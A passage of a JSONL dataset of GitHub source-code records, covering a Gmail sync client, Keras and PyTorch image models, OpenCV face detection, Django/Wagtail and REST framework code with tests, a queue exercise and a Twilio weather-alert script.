lru_remove)\n                    parse(history, 'labelsAdded', isMovetoInbox)\n                    parse(history, 'labelsRemoved', isRemoveFromInbox)\n\n        except Exception as error:\n            print('An error occurred during autoupdate: %s' % error)\n            print(traceback.print_exc())\n\n    def listen_for_updates(self):\n        project_id = self.projectID\n        subscription_id = self.subname\n        subscriber = pubsub_v1.SubscriberClient()\n        # The `subscription_path` method creates a fully qualified identifier\n        # in the form `projects/{project_id}/subscriptions/{subscription_id}`\n        subscription_path = subscriber.subscription_path(project_id,\n                                                         subscription_id)\n\n        def callback(message):\n            # lock.acquire()\n            #print(f\"Received {message}.\")\n            data = ast.literal_eval(message.data.decode(\"utf-8\"))\n            print('---------- New Update: {} ---------- '.format(data['historyId']))\n            self.partial_sync()\n            self.historyId = data['historyId']\n            message.ack()\n            # lock.release()\n\n        streaming_pull_future = subscriber.subscribe(subscription_path,\n                                                     callback=callback)\n        print(f\"Listening for messages on {subscription_path}..\\n\")\n\n        # Wrap subscriber in a 'with' block to automatically call close() when done.\n        with subscriber:\n            try:\n                # When `timeout` is not set, result() will block indefinitely,\n                # unless an exception is encountered first.\n                streaming_pull_future.result()\n            except TimeoutError:\n                streaming_pull_future.cancel()\n\n\ndef test():\n    client = Gmail()\n    # lock = Lock()\n    # client.listen_for_updates(lock)\n    raw = client.get_messages()\n    messages = raw['messages']\n    email_list = []\n    email_mime = []\n    for m in messages:\n        if m['id'] == '1754bc4f2bcb8eeb':\n            # m_meta = client.get_meta_message(m['id'])\n            m_mime = client.get_mime_message(m[\"id\"])\n            # email_list.append(m_meta)\n            email_mime.append(m_mime)\n            print(m_mime)\n\n    print(email_mime)\n\n\nif __name__ == '__main__':\n    test()\n\n\nclass NonexistenceEmailError(Exception):\n    def __init__(self, message):\n        super().__init__(message)","repo_name":"lucastliu/gmailfs","sub_path":"gmail.py","file_name":"gmail.py","file_ext":"py","file_size_in_byte":14461,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"21494506878","text":"\n# coding: utf-8\n\n# In[14]:\nfrom __future__ import print_function\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport keras\nfrom keras.optimizers import *\nfrom keras.applications import *\nfrom keras.models import Model\nfrom keras.utils import np_utils\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\n\nfrom keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization\nfrom keras.layers import Conv2D, MaxPooling2D\nimport os\nimport tensorflow as tf\nimport multiprocessing as mp\n\nnp.random.seed(0)\n\n\n# In[15]:\n\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\nbatch_size = 128\nnum_classes = 10\nepochs = 200\n# Converting to float to be able to perform divison\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\n\nY_train = np_utils.to_categorical(y_train, 10)\nY_test = np_utils.to_categorical(y_test, 10)\n\nmean_train = np.mean(x_train,axis=0)\nmean_test = np.mean(x_test,axis=0)\n\nx_train -= mean_train\nx_test -= mean_test\n\nx_train  /= np.std(x_train,axis=0)\nx_test /= np.std(x_test,axis=0)\n\ndatagen = ImageDataGenerator(\n            featurewise_center=False,  # set input mean to 0 over the dataset\n            samplewise_center=False,  # set each sample mean to 0\n            featurewise_std_normalization=False,  # divide inputs by std of the dataset\n            samplewise_std_normalization=False,  # divide each input by its std\n            zca_whitening=False,  # apply ZCA whitening\n            rotation_range=10,  # randomly rotate images in the range (degrees, 0 to 180)\n            width_shift_range=0.16,  # randomly shift images horizontally (fraction of total width)\n            height_shift_range=0.16,  # randomly shift images vertically (fraction of total height)\n            horizontal_flip=True,  # randomly flip images\n            vertical_flip=False\n          ) # randomly flip images\n#flatten \n\n\n# In[22]:\n\nmodel = Sequential()\n\nmodel.add(Conv2D(180, (5, 5), padding='same',\n                 input_shape=x_train.shape[1:]))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(150, (1, 1)))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(3, 3), strides = (2,2), padding = 'same'))\nmodel.add(Dropout(0.5))\n\n\nmodel.add(Conv2D(128, (3, 3), padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(128, (1, 1)))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(128, (1, 1)))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(3, 3), strides = (2,2), padding = 'same'))\nmodel.add(Dropout(0.5))\n\nmodel.add(Flatten())\nmodel.add(Dense(512))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(200))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes))\nmodel.add(Activation('softmax'))\n\n\n# In[23]:\n\nadam = keras.optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08,decay=0.00001)\nnadam = keras.optimizers.Nadam(lr=0.002, beta_1=0.9, beta_2=0.999, epsilon=1e-07, schedule_decay=0.004)\n\nmodel.compile(loss='categorical_crossentropy', optimizer= nadam, metrics=['accuracy'])\n\n#now = datetime.datetime.now().strftime(\"%I:%M%p on %B %d, %Y\")\n#tensorboard = keras.callbacks.TensorBoard(log_dir='/home/mohamedyasser96/downloads/logs/' + now, histogram_freq=0, write_graph=True, write_images=True)\n\n\n\n# In[24]:\n\ndatagen.fit(x_train[:40000]) #training 40000 and validating 10K\n\ncheckpointer = ModelCheckpoint(filepath=\"./Assin3_Trial3.hdf5\", verbose=1, save_best_only=True, monitor='val_acc')\n\nmodel.fit_generator(datagen.flow(x_train[:40000], Y_train[:40000],batch_size=batch_size),\n                    steps_per_epoch=x_train.shape[0] // batch_size,\n                    epochs=epochs,\n                    validation_data=(x_train[40000:], Y_train[40000:]),\n                    workers=8, \n                    callbacks=[checkpointer])\n\n\n# In[25]:\n\nmodel.summary()\n\n# Calculating ACCR\nscore = model.evaluate(x_test, Y_test, verbose=1)\nprint('Test score:', score[0])\nprint('ACCR:', score[1])\n\n\n# In[ ]:\n\n\n\n","repo_name":"mohamedyasser96/ML","sub_path":"Assignment3/MLAssignment3Keras.py","file_name":"MLAssignment3Keras.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72099283208","text":"import pygame\nimport os\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n\npygame.init()\nSCREEN_WIDTH = 500\nSCREEN_HEIGHT = 500\n\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\nsprite_sheet_image = pygame.image.load(\"cardSprites.png\").convert_alpha()\n\ndef get_image(sheet, width, height):\n    image = pygame.Surface((width, height)).convert_alpha()\n    image.blit(sheet, (0, 0), (0, 0, width, height))\n\n    return image\n\nframe_0 = get_image(sprite_sheet_image, 80, 115)\n\nrun = True\nwhile run:\n\n    screen.blit(frame_0, (0, 0))\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            run = False\n\n    pygame.display.update()\n\n\n\n\npygame.quit()","repo_name":"DrewAshurst/blackjackProject","sub_path":"pythonFoundationProject/spriteTest.py","file_name":"spriteTest.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28362953908","text":"import cv2 # OpenCV for image editing, computer vision and deep learning\nimport numpy as np # Numpy for math/array operations\nfrom source.utils import get_folder_dir # Custom function for better directory name handling\n\ndef detect_faces_with_ssd(image, min_confidence = 0.2):\n    '''Detect face in an image'''\n    \n    faces_list = []\n    \n    # Get models directory\n    models_dir = get_folder_dir(\"models\") \n    # Assign prototxt and model filenames\n    prototxt_filename = \"deploy.prototxt.txt\"\n    model_filename = \"res10_300x300_ssd_iter_140000.caffemodel\"\n    # Load our serialized model from disk\n    net = cv2.dnn.readNetFromCaffe(models_dir + prototxt_filename, \n                                   models_dir + model_filename)\n    \n    # Get image shape\n    (image_height, image_width) = image.shape[:2]\n    # Construct an input blob for the image \n    # by resizing to a fixed 300x300 pixels and then normalizing it\n    resized_image = cv2.resize(image, (300, 300))\n    blob = cv2.dnn.blobFromImage(resized_image,\n                                 scalefactor = 1.0, \n                                 size = (300, 300), \n                                 mean = (104.0, 177.0, 123.0))\n\n    # Pass the blob through the network and obtain the detections and\n    # predictions\n    net.setInput(blob)\n    detected_faces = net.forward()\n    \n    # Calculate number of detections\n    num_detected_faces = detected_faces.shape[2]\n    \n    # Loop over the detections\n    for index in range(0, num_detected_faces):\n        # Initialize a dictionary that will contain detection details\n        face_dict = {}\n        \n        # Extract the confidence (i.e., probability) associated with the\n        # prediction \n        confidence = detected_faces[0, 0, index, 2]\n        # Convert it to a native python variable (float)\n        confidence = confidence.item()\n        # Filter out weak detections by ensuring the `confidence` is\n        # greater than the minimum confidence\n        if confidence > min_confidence:\n            # Get detection coords\n            rect = detected_faces[0, 0, index, 3:7] * np.array([image_width, image_height, image_width, image_height])\n            # Reformat detection coords\n            (start_x, start_y, end_x, end_y) = rect.astype(\"int\")\n            # Convert them to native python variables (int)\n            start_x = start_x.item()\n            start_y = start_y.item()\n            end_x = end_x.item()\n            end_y = end_y.item()\n            # Ensure coords are btw [0, image size]\n            start_x = max(0,start_x)\n            start_y = max(0,start_y)\n            end_x = min(end_x,image_width)\n            end_y = min(end_y,image_height)\n            \n            # Add detection coords to dictionary\n            face_dict['rect'] = (start_x, start_y, end_x, end_y)\n            \n            # Add detection confidence (probability) to dictionary\n            face_dict['prob'] = confidence * 100\n            \n            faces_list.append(face_dict)\n            \n    # Return the face image area and the face rectangle\n    return faces_list\n","repo_name":"fcakyon/face-detection-app-tutorial","sub_path":"source/face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"70866912009","text":"import time\nfrom read_structure import *\n\nif __name__==\"__main__\":\n    start=time.clock()\n    Lfile=\"/Users/didi/Desktop/store/data/cit-HepPh/cit-HepPh.txt\"\n    L,train_node=get_list_set(Lfile)\n\n    degree_cen=zeros([len(train_node),4],int)\n    k=0\n    for Tnode in train_node:\n        in_degree,out_degree=degree_base(L,Tnode)\n        degree_cen[k][0]=Tnode\n        degree_cen[k][1]=in_degree\n        degree_cen[k][2]=out_degree\n        degree_cen[k][3]=(in_degree+out_degree)/(2*len(train_node)-2)\n        k+=1\n\n\n    #对数组按照num列进行从大到小的排序\n    sorted_node=degree_cen[argsort(-degree_cen[:,3])]\n    print(sorted_node[0:100,:])\n    savetxt(\"result/degree_cit-HepPh.csv\",sorted_node,fmt=\"%d\",delimiter=',')\n    end=time.clock()\n    sum_time=end-start\n    print(\"程序运行总时间为:\",sum_time,\"s\")","repo_name":"koukoulala/graph_embedding","sub_path":"centrality-analysis/degree_base.py","file_name":"degree_base.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39113660054","text":"# user.py\n# it contain user's info\n# not contain entire but only required info\n\nclass User:\n    def __init__(self, uid=None, id=None, name=None, point=None, donated_amount=None, phone_number=None, barcode=None):\n        self.uid = uid\n        self.id = id\n        self.name = name\n        self.point = point\n        self.donated_amount = donated_amount\n        self.phone_number = phone_number\n        self.barcode = barcode\n","repo_name":"T-Park/CDP_08","sub_path":"raspberryPi/model/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"38376408877","text":"from django.forms import widgets\n\n\nfrom django.db import models\n\nfrom modelcluster.fields import ParentalKey\nfrom wagtail.admin.edit_handlers import (\n    FieldPanel,\n    FieldRowPanel,\n    InlinePanel,\n    MultiFieldPanel\n)\nfrom wagtail.core.fields import RichTextField\nfrom wagtail.contrib.forms.models import (\n    AbstractEmailForm,\n    AbstractFormField\n)\n\n\nclass FormField(AbstractFormField):\n    page = ParentalKey(\n        'ContactPage',\n        on_delete=models.CASCADE,\n        related_name='form_fields',\n    )\n\n\nclass ContactPage(AbstractEmailForm):\n\n    template = \"contact/contact_page.html\"\n    # This is the default path.\n    # If ignored, Wagtail adds _landing.html to your template name\n    landing_page_template = \"contact/contact_page_landing.html\"\n\n    intro = RichTextField(blank=True)\n    thank_you_text = RichTextField(blank=True)\n\n    content_panels = AbstractEmailForm.content_panels + [\n        FieldPanel('intro'),\n        InlinePanel('form_fields', label='Form Fields'),\n        FieldPanel('thank_you_text'),\n        MultiFieldPanel([\n            FieldRowPanel([\n                FieldPanel('from_address', classname=\"col6\"),\n                FieldPanel('to_address', classname=\"col6\"),\n            ]),\n            FieldPanel(\"subject\"),\n        ], heading=\"Email Settings\"),\n    ]\n\n    def get_form(self, *args, **kwargs):\n        form = super().get_form(*args, **kwargs)\n        # form = super(AbstractEmailForm, self).get_form(*args, **kwargs)  # use this syntax for Python 2.x\n        # iterate through the fields in the generated form\n        for name, field in form.fields.items():\n            # here we want to adjust the widgets on each field\n            # if the field is a TextArea - adjust the rows\n            if isinstance(field.widget, widgets.Textarea):\n                field.widget.attrs.update({'rows': '5'})\n            # for all fields, get any existing CSS classes and add 'form-control'\n            # ensure the 'class' attribute is a string of classes with spaces\n            css_classes = field.widget.attrs.get('class', '').split()\n            css_classes.append('form-control')\n            field.widget.attrs.update({'class': ' '.join(css_classes)})\n        return form\n\n","repo_name":"erronny/shawcms","sub_path":"contact/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17223359941","text":"class EmptyQueueError(Exception):\n\tpass\n\nclass WrongTypeError(Exception):\n\tpass\n\nclass Animal:\n\tdef __init__(self, name, species):\n\t\tself.name = name\n\t\tself.species = species\n\t\tself.next = None\n\nclass Queue:\n\tdef __init__(self, species):\n\t\tself.species = species\n\t\tself.first = None\n\t\tself.last = None\n\n\tdef enqueue(self, animal):\n\t\tif animal.species != self.species:\n\t\t\traise WrongTypeError('tried enqueuing {0} in {1} queue'.format(animal.species, self.species))\n\t\tif not self.last:\n\t\t\tself.first = animal\n\t\telse:\n\t\t\tself.last.next = animal\n\t\tself.last = animal\n\t\tanimal.next = None\n\n\tdef dequeue(self):\n\t\tif not self.first:\n\t\t\traise EmptyQueueError('tried dequeuing from empty queue')\n\t\tanimal = self.first\n\t\tif self.first is self.last:\n\t\t\tself.first, self.last = None, None\n\t\telse:\n\t\t\tself.first = self.first.next\n\t\treturn animal\n\nclass AnimalShelter:\n\tdef __init__(self, *types):\n\t\tself.num_animals = 0\n\t\tself.inventory = {species: Queue(species) for species in types}\n\n\tdef enqueue(self, animal):\n\t\tif animal.species not in self.inventory:\n\t\t\traise WrongTypeError('AnimalShelter does not support {0}'.format(animal.species))\n\t\tself.num_animals += 1\n\t\tanimal.id = self.num_animals\n\t\tself.inventory[animal.species].enqueue(animal)\n\n\tdef dequeue_any(self):\n\t\toldest = None\n\t\tfor queue in self.inventory.values():\n\t\t\tif queue.first is not None:\n\t\t\t\tanimal = queue.first\n\t\t\t\tif oldest is None or oldest.id > animal.id:\n\t\t\t\t\toldest = animal\n\t\tif oldest is None:\n\t\t\traise EmptyQueueError('AnimalShelter has no animals!')\n\t\treturn self.inventory[oldest.species].dequeue()\n\n\tdef dequeue_type(self, species): # implements dequeue_dog, dequeue_cat :)\n\t\tif species not in self.inventory:\n\t\t\traise WrongTypeError('AnimalShelter does not have animal {0}'.format(species))\n\t\treturn self.inventory[species].dequeue()\n\n# Let's test it!\nshelter = AnimalShelter('cat', 'dog', 'rhino')\n\nprint(\"Let's welcome: billy, daphnie, ace, and charles!\")\nshelter.enqueue(Animal('billy', 'dog'))\nshelter.enqueue(Animal('daphnie', 'cat'))\nshelter.enqueue(Animal('ace', 'rhino'))\nshelter.enqueue(Animal('charles', 'dog'))\ntry:\n\tshelter.enqueue(Animal('mickey', 'mouse'))\nexcept WrongTypeError as err:\n\tprint(err)\n\nprint('''Mario's Animal Shelter:\ncat:   [daphnie]\ndog:   [billy, charles]\nrhino: [ace]''')\n\nprint('Goodbye {0}!'.format(shelter.dequeue_any().name))\nprint('Goodbye {0}!'.format(shelter.dequeue_any().name))\nprint('Goodbye {0}!'.format(shelter.dequeue_type('dog').name))\nprint('Goodbye {0}!'.format(shelter.dequeue_type('rhino').name))\n\ntry:\n\tshelter.dequeue_any()\nexcept EmptyQueueError as err:\n\tprint(err)\n\ntry:\n\tshelter.dequeue_type('dog')\nexcept EmptyQueueError as err:\n\tprint(err)\n","repo_name":"mladmon/CtCI","sub_path":"03-stacks_queues/3.6-animal_shelter.py","file_name":"3.6-animal_shelter.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36796009662","text":"import numpy as np\ndef compute_NR3FT(X, g_SB, b_SB, G_KVL, b_KVL, H, g, b, nnode, nline, H_reg, G_reg, vr_lines):\n    FTSUBV = (g_SB @ X) - b_SB\n    FTKVL = (G_KVL @ X) - b_KVL\n\n    FTKCL = np.zeros((2*3*(nnode-1), 1))\n    for i in range(2*3*(nnode-1)):\n        r = (X.T @ (H[i, :, :] @ X)) \\\n        + (g[i, 0,:] @ X) \\\n        + b[i, 0,0]\n        FTKCL[i, :] = r\n   \n    FTVR = np.zeros((2*vr_lines, 1)) #need to fix \n    for i in range(2*vr_lines):\n        r = X.T @ (H_reg[i, :, :] @ X)       \n        FTVR[i, :] = r\n\n    FTVR2 = G_reg @ X\n   \n    FT = np.r_[FTSUBV, FTKVL, FTKCL, FTVR, FTVR2]\n\n    return FT\n","repo_name":"michaelsankur/gigpower","sub_path":"gigpower/src/gigpower/nr3_lib/compute_NR3FT.py","file_name":"compute_NR3FT.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4890498203","text":"\n\"\"\"\nTests for the ingredients API.\n\"\"\"\nfrom decimal import Decimal\n\nfrom django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.test import TestCase\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import (Ingredient,Recipe,)\nfrom recipe.serializers import (IngredientSerializer)\n\nINGREDIENT_URL = reverse('recipe:ingredient-list')\n\ndef detail_url(ingredient_id):\n    \"\"\" create and return ingredient details url\"\"\"\n    return reverse('recipe:ingredient-detail', args=[ingredient_id])\n\ndef create_user(email=\"test@example.com\", password=\"testpassword\"):\n    \"\"\" create user and return it \"\"\"\n    return get_user_model().objects.create_user(email,password)\n\nclass PubicTestIngredient(TestCase):\n    \"\"\" test public url for Ingredient \"\"\"\n    \n    def setUp(self):\n        self.client = APIClient()\n        \n    def test_auth_requeird(self):\n        \"\"\" test for un authorized request  \"\"\"\n        res = self.client.get(INGREDIENT_URL)\n        \n        self.assertEqual(res.status_code,status.HTTP_401_UNAUTHORIZED)\n        \nclass PrivateTestIngredient(TestCase):\n    \"\"\" test authenticated user for private Ingredient \"\"\"\n    \n    def setUp(self):\n        self.client = APIClient()\n        self.user = create_user()\n        self.client.force_authenticate(user=self.user)\n    \n    def test_ingredient_list(self):\n        \"\"\" test for retriving ingredient \"\"\"\n        Ingredient.objects.create(user=self.user,name=\"rice\")\n        Ingredient.objects.create(user=self.user,name=\"meet\")\n        \n        res = self.client.get(INGREDIENT_URL)\n        ingredients = Ingredient.objects.all().order_by('-name')\n        serializers = IngredientSerializer(ingredients,many=True)\n        \n        self.assertEqual(res.status_code,status.HTTP_200_OK)\n        self.assertEqual(res.data,serializers.data)\n        \n    def test_limited_ingredients(self):\n        \"\"\" test ingredientss are shown for the user that created that ingredients \"\"\"\n        \n        new_user = create_user(email=\"use222r@example.com\")\n        \n        Ingredient.objects.create(user=new_user,name=\"rice\")\n        ingredients2 =Ingredient.objects.create(user=self.user,name=\"meet\")\n        res = self.client.get(INGREDIENT_URL)\n        \n        self.assertEqual(res.status_code,status.HTTP_200_OK)\n        self.assertEqual(len(res.data),1)\n        self.assertEqual(res.data[0]['name'],ingredients2.name)\n        self.assertEqual(res.data[0]['id'],ingredients2.id)\n    \n    def test_update_ingredient(self):\n        \"\"\" test for updating a ingredient \"\"\"\n        ingredient =Ingredient.objects.create(user=self.user,name=\"meet\")\n        \n        payload = {'name':'indianFood'}\n        url= detail_url(ingredient.id) \n        res = self.client.patch(url,payload)\n        \n        self.assertEqual(res.status_code,status.HTTP_200_OK)\n        ingredient.refresh_from_db()\n        \n        self.assertEqual(ingredient.name,payload['name'])\n    \n    def test_delete_ingredient(self):\n        \"\"\" test for deleting ingredients \"\"\"\n        ingredient =Ingredient.objects.create(user=self.user,name=\"meet2\")\n        \n        url= detail_url(ingredient.id) \n        res = self.client.delete(url)\n        self.assertEqual(res.status_code,status.HTTP_204_NO_CONTENT)\n        self.assertFalse(Ingredient.objects.filter(user=self.user).exists())\n    def test_filter_ingredients_assigned_to_recipes(self):\n        \"\"\"Test listing ingedients to those assigned to recipes.\"\"\"\n        in1 = Ingredient.objects.create(user=self.user, name='Apples')\n        in2 = Ingredient.objects.create(user=self.user, name='Turkey')\n        recipe = Recipe.objects.create(\n            title='Apple Crumble',\n            time_minutes=5,\n            price=Decimal('4.50'),\n            user=self.user,\n        )\n        recipe.ingredients.add(in1)\n\n        res = self.client.get(INGREDIENT_URL, {'assigned_only': 1})\n\n        s1 = IngredientSerializer(in1)\n        s2 = IngredientSerializer(in2)\n        self.assertIn(s1.data, res.data)\n        self.assertNotIn(s2.data, res.data)\n\n    def test_filtered_ingredients_unique(self):\n        \"\"\"Test filtered ingredients returns a unique list.\"\"\"\n        ing = Ingredient.objects.create(user=self.user, name='Eggs')\n        Ingredient.objects.create(user=self.user, name='Lentils')\n        recipe1 = Recipe.objects.create(\n            title='Eggs Benedict',\n            time_minutes=60,\n            price=Decimal('7.00'),\n            user=self.user,\n        )\n        recipe2 = Recipe.objects.create(\n            title='Herb Eggs',\n            time_minutes=20,\n            price=Decimal('4.00'),\n            user=self.user,\n        )\n        recipe1.ingredients.add(ing)\n        recipe2.ingredients.add(ing)\n\n        res = self.client.get(INGREDIENT_URL, {'assigned_only': 1})\n\n        self.assertEqual(len(res.data), 1)","repo_name":"karim-hb/recipe_api","sub_path":"app/recipe/tests/test_ingerdient.py","file_name":"test_ingerdient.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72021437447","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('deck', '0003_auto_20150531_1259'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='event',\n            name='is_published',\n            field=models.BooleanField(default=True, verbose_name='Publish'),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='proposal',\n            name='is_published',\n            field=models.BooleanField(default=True, verbose_name='Publish'),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"luanfonceca/speakerfight","sub_path":"deck/migrations/0004_auto_20150601_2200.py","file_name":"0004_auto_20150601_2200.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":341,"dataset":"github-code","pt":"16"}
+{"seq_id":"25385863567","text":"# This is a sample Python script.\n\n# Press Mayús+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\nimport  requests\nimport os\nfrom twilio.rest import Client\n\n#CREDENTIAL\naccount_sid = os.environ['TWILIO_ACCOUNT_SID']\nauth_token = os.environ['TWILIO_AUTH_TOKEN']\napi_key=\"\"\nparameters={\n    \"lat\":-2.170998,\n    \"lon\":-79.922356,\n    \"appid\":api_key\n}\n#PROCESS\n\nresponse=requests.get(\"https://pro.openweathermap.org/data/2.5/forecast/hourly\",params=parameters)\nprint(response.status_code)\nresponse.raise_for_status()\ndata=response.json()[\"Hourly\"][:12]\nwill_rain=False\n\n\n\nfor hour_data in data:\n    condition=hour_data[\"weather\"][0][\"id\"]\n    if int(condition)<700:\n        will_rain=True\nif will_rain:\n    client = Client(account_sid, auth_token)\n\n    message = client.messages \\\n        .create(\n        body=\"its goint to rain. remenber to bring an umbrella.\",\n        from_='+15017122661',\n        to='you verify number '#you need to verify the number in the twilio website\n    )","repo_name":"kesant/intermdiate_projects","sub_path":"rain_alert/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69794313928","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nimport json\nimport cv2\nimport matplotlib.pyplot as plt\nfrom torchvision.transforms import Compose, ToTensor\nimport os\n\n\ndef writeJson(data,path):\n    with open(path,'w') as fp:\n        json.dump(data,fp,indent=1)\n\nclass AnomalyAE(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.conv1 = nn.Conv2d(3, 48, (11, 11), stride=(1, 1), padding=5)\n        self.bn1 = nn.BatchNorm2d(48)\n\n        self.conv2 = nn.Conv2d(48, 48, (9, 9), stride=(2, 2), padding=4)\n        self.bn2 = nn.BatchNorm2d(48)\n\n        self.conv3 = nn.Conv2d(48, 48, (7, 7), stride=(2, 2), padding=3)\n        self.bn3 = nn.BatchNorm2d(48)\n\n        self.conv4 = nn.Conv2d(48, 48, (5, 5), stride=(2, 2), padding=2)\n        self.bn4 = nn.BatchNorm2d(48)\n\n        self.conv5 = nn.Conv2d(48, 48, (3, 3), stride=(2, 2), padding=1)\n        self.bn5 = nn.BatchNorm2d(48)\n\n        self.conv_tr1 = nn.ConvTranspose2d(\n            48, 48, (5, 5), stride=(2, 2), padding=2, output_padding=1)\n        self.bn_tr1 = nn.BatchNorm2d(48)\n\n        self.conv_tr2 = nn.ConvTranspose2d(\n            96, 48, (7, 7), stride=(2, 2), padding=3, output_padding=1)\n        self.bn_tr2 = nn.BatchNorm2d(48)\n\n        self.conv_tr3 = nn.ConvTranspose2d(\n            96, 48, (9, 9), stride=(2, 2), padding=4, output_padding=1)\n        self.bn_tr3 = nn.BatchNorm2d(48)\n\n        self.conv_tr4 = nn.ConvTranspose2d(\n            96, 48, (11, 11), stride=(2, 2), padding=5, output_padding=1)\n        self.bn_tr4 = nn.BatchNorm2d(48)\n\n        self.conv_output = nn.Conv2d(96, 3, (1, 1), (1, 1))\n        self.bn_output = nn.BatchNorm2d(3)\n\n    def forward(self, x):\n        slope = 0.2\n        x = F.leaky_relu((self.bn1(self.conv1(x))), slope)\n        x1 = F.leaky_relu((self.bn2(self.conv2(x))), slope)\n        x2 = F.leaky_relu((self.bn3(self.conv3(x1))), slope)\n        x3 = F.leaky_relu((self.bn4(self.conv4(x2))), slope)\n        x4 = F.leaky_relu((self.bn5(self.conv5(x3))), slope)\n\n        x5 = F.leaky_relu(self.bn_tr1(self.conv_tr1(x4)), slope)\n        x6 = F.leaky_relu(self.bn_tr2(\n            self.conv_tr2(torch.cat([x5, x3], 1))), slope)\n        x7 = F.leaky_relu(self.bn_tr3(\n            self.conv_tr3(torch.cat([x6, x2], 1))), slope)\n        x8 = F.leaky_relu(self.bn_tr4(\n            self.conv_tr4(torch.cat([x7, x1], 1))), slope)\n\n        output = F.leaky_relu(self.bn_output(\n            self.conv_output(torch.cat([x8, x], 1))), slope)\n        return output\n\n\n\ndef anomalyInit(device,weights):\n    model = AnomalyAE()\n    model.load_state_dict(torch.load(weights))\n    model.eval()\n    model = model.to(device)\n    return model\n\ndef anomalyInfer(model, input, outputPath, device):\n    toRet=[]\n    for image in input:\n        imagePath=image['path']\n        imageID=image['id']\n        img = cv2.imread(imagePath)\n        img = cv2.resize(img, (1200, 1200))\n        transform = Compose([ToTensor()])\n        img = transform(img)\n        img = img.to(device)\n        img = img.unsqueeze(0)\n        y = model(img)\n        residual = torch.abs(img[0][0] - y[0][0])\n\n        #### ANOMALY OR NOT ####\n        THRESHOLD = 0.008\n\n        residual_image = residual.detach().cpu().numpy()\n        img = img.detach().cpu().numpy()[0][0]\n        plt.imshow(residual_image > THRESHOLD)\n        plt.title('image to detect')\n        plt.axis('off')\n        plt.savefig('image to detect.png', bbox_inches='tight')\n\n        while 1:\n            try:\n                image = cv2.imread('image to detect.png')\n                break\n            except:\n                a = 1\n\n        os.remove('image to detect.png')\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n        lower = np.array([30, 30, 30], dtype=\"uint8\")\n        upper = np.array([90, 255, 255], dtype=\"uint8\")\n\n        # threshold for yellow\n        thresh_color = cv2.inRange(image, lower, upper)\n\n        average = cv2.mean(thresh_color)[0]\n        anomaly = True\n        if average == 0:\n            anomaly_detection = not anomaly\n        else:\n            anomaly_detection = anomaly\n\n        # cv2.imwrite('defection.png', thresh_color)\n\n        #### END ANOMALY DECISION ####\n\n        plt.figure(figsize=(15, 10))\n        plt.subplot(121)\n        plt.imshow(img)\n        plt.title('Image')\n        plt.axis('off')\n        plt.subplot(122)\n        plt.imshow(residual_image > THRESHOLD)\n        plt.title('Residual Thresholded')\n        plt.axis('off')\n        plt.savefig(outputPath+\"image_\"+str(imageID)+\".png\", bbox_inches='tight')\n        temp 